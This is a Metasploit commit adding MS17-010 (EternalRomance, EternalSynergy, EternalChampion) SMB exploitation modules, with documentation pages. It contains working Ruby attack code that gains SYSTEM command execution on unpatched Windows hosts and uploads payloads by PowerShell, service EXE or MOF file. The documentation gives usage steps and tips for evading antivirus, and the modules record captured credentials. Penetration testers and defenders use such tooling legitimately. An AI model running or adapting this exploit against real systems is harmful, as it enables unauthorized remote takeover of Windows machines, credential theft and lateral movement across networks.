Land #9473, new MS17-010 aux and exploit modules

MS-2855/keylogger-mettle-extension
William Vu 2018-02-01 23:56:29 -06:00
commit c9473f8cbc
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
7 changed files with 2162 additions and 8 deletions

View File

@ -0,0 +1,84 @@
MS17-010 are psexec are two of the most popular exploits against Microsoft Windows. This module bolts the two together.
You can run any command as SYSTEM. Note: unlike EternalBlue, kernel shellcode is not used to stage Meterpreter, so you might have to evade your payloads.
* CVE-2017-0146 (EternalChampion/EternalSynergy) - exploit a race condition with Transaction requests
* CVE-2017-0143 (EternalRomance/EternalSynergy) - exploit a type confusion between WriteAndX and Transaction requests
This module is highly reliable and preferred over EternalBlue where a Named Pipe is accessible for anonymous logins (generally, everything pre-Vista, and relatively common for domain computers in the wild).
## Vulnerable Server
To be able to use auxiliary/admin/smb/ms17_010_command:
1. You can OPTIONALLY use a valid username/password to bypass most of these requirements.
2. The firewall must allow SMB traffic.
3. The target must use SMBv1.
4. The target must be missing the MS17-010 patch.
5. The target must allow anonymous IPC$ and a Named Pipe.
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
## Verification Steps
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
```
msf > use auxiliary/admin/smb/ms17_010_command
msf exploit(psexec) > set RHOSTS 192.168.1.80
RHOSTS => 192.168.1.80
msf exploit(psexec) > exploit
```
## Options
By default, using auxiliary/admin/smb/ms17_010_command can be as simple as setting the RHOSTS option, and you're ready to go.
**The NAMEDPIPE Option**
By default, the module will scan for a list of common pipes for any available one. You can specify one by name.
**The LEAKATTEMPTS Option**
Information leaks are used to ensure stability of the exploit. Sometimes they don't pop on the first try.
**The DBGTRACE Option**
Used to debug, gives extremely verbose information.
**The SMBUser Option**
This is a valid Windows username.
**The SMBPass option**
This can be either the plain text version or the Windows hash.
## Scenarios
**Automatic Target**
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
**Powershell Target**
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
**Native Upload Target**
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
SHARE datastore option), and then execute it with psexec.
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
**MOF Upload Target**
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
caught by antivirus on the target.
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.

View File

@ -0,0 +1,84 @@
MS17-010 are psexec are two of the most popular exploits against Microsoft Windows. This module bolts the two together.
You can run any command as SYSTEM, or stage Meterpreter. Note: unlike EternalBlue, kernel shellcode is not used to stage Meterpreter, so you might have to evade your payloads.
* CVE-2017-0146 (EternalChampion/EternalSynergy) - exploit a race condition with Transaction requests
* CVE-2017-0143 (EternalRomance/EternalSynergy) - exploit a type confusion between WriteAndX and Transaction requests
This module is highly reliable and preferred over EternalBlue where a Named Pipe is accessible for anonymous logins (generally, everything pre-Vista, and relatively common for domain computers in the wild).
## Vulnerable Server
To be able to use exploit/windows/smb/ms17_010_psexec:
1. You can OPTIONALLY use a valid username/password to bypass most of these requirements.
2. The firewall must allow SMB traffic.
3. The target must use SMBv1.
4. The target must be missing the MS17-010 patch.
5. The target must allow anonymous IPC$ and a Named Pipe.
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
## Verification Steps
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
```
msf > use exploit/windows/smb/ms17_010_psexec
msf exploit(psexec) > set RHOST 192.168.1.80
RHOST => 192.168.1.80
msf exploit(psexec) > exploit
```
## Options
By default, using exploit/windows/smb/ms17_010_psexec can be as simple as setting the RHOST option, and you're ready to go.
**The NAMEDPIPE Option**
By default, the module will scan for a list of common pipes for any available one. You can specify one by name.
**The LEAKATTEMPTS Option**
Information leaks are used to ensure stability of the exploit. Sometimes they don't pop on the first try.
**The DBGTRACE Option**
Used to debug, gives extremely verbose information.
**The SMBUser Option**
This is a valid Windows username.
**The SMBPass option**
This can be either the plain text version or the Windows hash.
## Scenarios
**Automatic Target**
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
**Powershell Target**
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
**Native Upload Target**
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
SHARE datastore option), and then execute it with psexec.
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
**MOF Upload Target**
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
caught by antivirus on the target.
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.

View File

@ -32,6 +32,7 @@ require 'msf/core/exploit/smb/client'
require 'msf/core/exploit/smb/client/authenticated'
require 'msf/core/exploit/smb/client/local_paths'
require 'msf/core/exploit/smb/client/psexec'
require 'msf/core/exploit/smb/client/psexec_ms17_010'
require 'msf/core/exploit/smb/client/remote_paths'
require 'msf/core/exploit/smb/server'
require 'msf/core/exploit/smb/server/share'

File diff suppressed because it is too large Load Diff

View File

@ -63,7 +63,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
#Misc
self.spnopt = {}
self.default_max_buffer_size = 0xffdf
end
# Read a SMB packet from the socket
@ -661,7 +661,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['PasswordLen'] = pass.length + 1
@ -736,7 +736,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
pkt['Payload']['SMB'].v['WordCount'] = 13
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
@ -791,7 +791,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
pkt['Payload']['SMB'].v['WordCount'] = 13
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
@ -866,7 +866,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
end
pkt['Payload']['SMB'].v['WordCount'] = 12
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['SecurityBlobLen'] = blob.length
@ -942,7 +942,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
pkt['Payload']['SMB'].v['WordCount'] = 12
pkt['Payload']['SMB'].v['UserID'] = temp_user_id
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['Capabilities'] = 0x8000d05c
@ -998,7 +998,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
pkt['Payload']['SMB'].v['WordCount'] = 12
pkt['Payload']['SMB'].v['UserID'] = userid
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['SecurityBlobLen'] = blob.length
@ -1034,7 +1034,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
pkt['Payload']['SMB'].v['WordCount'] = 12
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['SecurityBlobLen'] = blob.length
@ -2043,6 +2043,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm
attr_accessor :system_time, :system_zone
attr_accessor :spnopt
attr_accessor :default_max_buffer_size
# public read methods
attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os

View File

@ -0,0 +1,210 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution',
'Description' => %q{
This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
primitive. This will then be used to overwrite the connection session information with as an
Administrator session. From there, the normal psexec command execution is done.
Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
named pipe.
},
'Author' => [
'sleepya', # zzz_exploit idea and offsets
'zerosum0x0',
'Shadow Brokers',
'Equation Group'
],
'License' => MSF_LICENSE,
'References' => [
[ 'AKA', 'ETERNALSYNERGY' ],
[ 'AKA', 'ETERNALROMANCE' ],
[ 'AKA', 'ETERNALCHAMPION' ],
[ 'AKA', 'ETERNALBLUE'], # does not use any CVE from Blue, but Search should show this, it is preferred
[ 'MSB', 'MS17-010' ],
[ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests
[ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests
[ 'CVE', '2017-0147'], # for EternalRomance reference
[ 'URL', 'https://github.com/worawit/MS17-010' ],
[ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],
[ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],
],
'DisclosureDate' => 'Mar 14 2017'
))
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
OptString.new('RPORT', [true, 'The Target port', 445]),
OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
])
register_advanced_options([
OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files','']),
OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 0]),
OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 0]),
])
deregister_options('RHOST')
end
def run_host(ip)
begin
eternal_pwn(ip) # exploit Admin session
smb_pwn(ip) # psexec
rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
print_error("#{e.message}")
rescue ::Errno::ECONNRESET,
::Rex::HostUnreachable,
::Rex::Proto::SMB::Exceptions::LoginError,
::Rex::ConnectionTimeout,
::Rex::ConnectionRefused => e
print_error("#{e.class}: #{e.message}")
rescue => error
print_error(error.class.to_s)
print_error(error.message)
print_error(error.backtrace.join("\n"))
ensure
eternal_cleanup() # restore session
end
end
def smb_pwn(ip)
text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat"
@smbshare = datastore['SMBSHARE']
@ip = ip
# Try and authenticate with given credentials
res = execute_command(text, bat)
if res
for i in 0..(datastore['RETRY'])
Rex.sleep(datastore['DELAY'])
# if the output file is still locked then the program is still likely running
if (exclusive_access(text))
break
elsif (i == datastore['RETRY'])
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
end
end
get_output(text)
end
cleanup_after(text, bat)
end
#
# TODO: the rest shamelessly copypasta from auxiliary/admin/smb/psexec_command
# it should probably be mixin'd. I have changed some of vprint/print tho
# => zerosum0x0
#
# Executes specified Windows Command
def execute_command(text, bat)
# Try and execute the provided command
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
vprint_status("Executing the command...")
begin
return psexec(execute)
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
print_error("Unable to execute specified command: #{e}")
return false
end
end
# Retrive output from command
def get_output(file)
vprint_status("Getting the command output...")
output = smb_read_file(@smbshare, @ip, file)
if output.nil?
print_error("Error getting command output. #{$!.class}. #{$!}.")
return
end
if output.empty?
print_status("Command finished with no output")
return
end
# Report output
vprint_good("Command completed successfuly!")
# zerosum0x0: this is better with Verbose off in this case
print_status("Output for \"#{datastore['COMMAND']}\":")
print_line("#{output}")
report_note(
:rhost => datastore['RHOSTS'],
:rport => datastore['RPORT'],
:type => "psexec_command",
:name => datastore['COMMAND'],
:data => output
)
end
# check if our process is done using these files
def exclusive_access(*files)
begin
simple.connect("\\\\#{@ip}\\#{@smbshare}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_error("Unable to get handle: #{accesserror}")
return false
end
files.each do |file|
begin
vprint_status("checking if the file is unlocked")
fd = smb_open(file, 'rwo')
fd.close
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_error("Unable to get handle: #{accesserror}")
return false
end
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
end
return true
end
# Removes files created during execution.
def cleanup_after(*files)
begin
simple.connect("\\\\#{@ip}\\#{@smbshare}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.")
return
end
vprint_status("Executing cleanup...")
files.each do |file|
begin
smb_file_rm(file)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
end
end
left = files.collect{ |f| smb_file_exist?(f) }
if left.any?
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
else
print_good("Cleanup was successful")
end
end
end

View File

@ -0,0 +1,339 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
# Local Security Settings >
# Local Policies >
# Security Options >
# Network Access: Sharing and security model for local accounts
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution',
'Description' => %q{
This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
primitive. This will then be used to overwrite the connection session information with as an
Administrator session. From there, the normal psexec payload code execution is done.
Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
named pipe.
},
'Author' =>
[
'sleepya', # zzz_exploit idea and offsets
'zerosum0x0',
'Shadow Brokers',
'Equation Group'
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'thread'
},
'References' =>
[
[ 'AKA', 'ETERNALSYNERGY' ],
[ 'AKA', 'ETERNALROMANCE' ],
[ 'AKA', 'ETERNALCHAMPION' ],
[ 'AKA', 'ETERNALBLUE'], # does not use any CVE from Blue, but Search should show this, it is preferred
[ 'MSB', 'MS17-010' ],
[ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests
[ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests
[ 'CVE', '2017-0147'], # for EternalRomance reference
[ 'URL', 'https://github.com/worawit/MS17-010' ],
[ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],
[ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],
],
'Payload' =>
{
'Space' => 3072,
'DisableNops' => true
},
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'PowerShell', { } ],
[ 'Native upload', { } ],
[ 'MOF upload', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 14 2017'
))
register_options(
[
OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
])
register_advanced_options(
[
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
])
end
def exploit
begin
eternal_pwn(datastore['RHOST'])
smb_pwn()
rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
print_error("#{e.message}")
rescue ::Errno::ECONNRESET,
::Rex::Proto::SMB::Exceptions::LoginError,
::Rex::HostUnreachable,
::Rex::ConnectionTimeout,
::Rex::ConnectionRefused => e
print_error("#{e.class}: #{e.message}")
rescue => error
print_error(error.class.to_s)
print_error(error.message)
print_error(error.backtrace.join("\n"))
ensure
eternal_cleanup() # restore session
end
end
def smb_pwn()
case target.name
when 'Automatic'
if powershell_installed?
print_status('Selecting PowerShell target')
powershell
else
print_status('Selecting native target')
native_upload
end
when 'PowerShell'
powershell
when 'Native upload'
native_upload
when 'MOF upload'
mof_upload
end
handler
end
# TODO: Again, shamelessly copypasta from the psexec exploit module. Needs to
# be moved into a mixin
def powershell_installed?
share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}"
case datastore['SHARE'].upcase
when 'ADMIN$'
path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
when 'C$'
path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
else
path = datastore['PSH_PATH']
end
simple.connect(share)
vprint_status("Checking for #{path}")
if smb_file_exist?(path)
vprint_status('PowerShell found')
psh = true
else
vprint_status('PowerShell not found')
psh = false
end
simple.disconnect(share)
psh
end
def powershell
ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
end
# Execute the powershell command
print_status("Executing the payload...")
begin
psexec(command)
rescue StandardError => exec_command_error
fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
end
end
def native_upload
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''
# Upload the shellcode to a file
print_status("Uploading payload...")
smbshare = datastore['SHARE']
fileprefix = ""
# if SHARE = Users/sasha/ or something like this
if smbshare =~ /.[\\\/]/
subfolder = true
smbshare = datastore['SHARE'].dup
smbshare = smbshare.gsub(/^[\\\/]/,"")
folder_list = smbshare.split(/[\\\/]/)
smbshare = folder_list[0]
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
else
subfolder = false
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{filename}", 'rwct')
end
exe = ''
opts = { :servicename => servicename, :serviceencoder => serviceencoder}
begin
exe = generate_payload_exe_service(opts)
fd << exe
ensure
fd.close
end
if subfolder
print_status("Created \\#{fileprefix}\\#{filename}...")
else
print_status("Created \\#{filename}...")
end
# Disconnect from the share
simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")
# define the file location
if datastore['SHARE'] == 'ADMIN$'
file_location = "%SYSTEMROOT%\\#{filename}"
elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
else
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
end
psexec(file_location, false)
unless datastore['SERVICE_PERSIST']
print_status("Deleting \\#{filename}...")
#This is not really useful but will prevent double \\ on the wire :)
if datastore['SHARE'] =~ /.[\\\/]/
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin
simple.delete("\\#{fileprefix}\\#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
end
else
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin
simple.delete("\\#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{filename} failed: #{e.message}")
end
end
end
end
def mof_upload
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
# payload as exe
print_status("Trying wbemexec...")
print_status("Uploading Payload...")
if datastore['SHARE'] != 'ADMIN$'
print_error('Wbem will only work with ADMIN$ share')
return
end
simple.connect(share)
exe = generate_payload_exe
fd = smb_open("\\system32\\#{filename}", 'rwct')
fd << exe
fd.close
print_status("Created %SystemRoot%\\system32\\#{filename}")
# mof to cause execution of above
mofname = rand_text_alphanumeric(14) + ".MOF"
mof = generate_mof(mofname, filename)
print_status("Uploading MOF...")
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
fd << mof
fd.close
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
# Disconnect from the ADMIN$
simple.disconnect(share)
end
def report_auth
service_data = {
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
port: datastore['RPORT'],
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_data: datastore['SMBPass'],
username: datastore['SMBUser'].downcase
}
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
credential_data.merge!({
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: datastore['SMBDomain']
})
end
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
credential_data.merge!({:private_type => :ntlm_hash})
else
credential_data.merge!({:private_type => :password})
end
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
access_level: 'Admin',
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end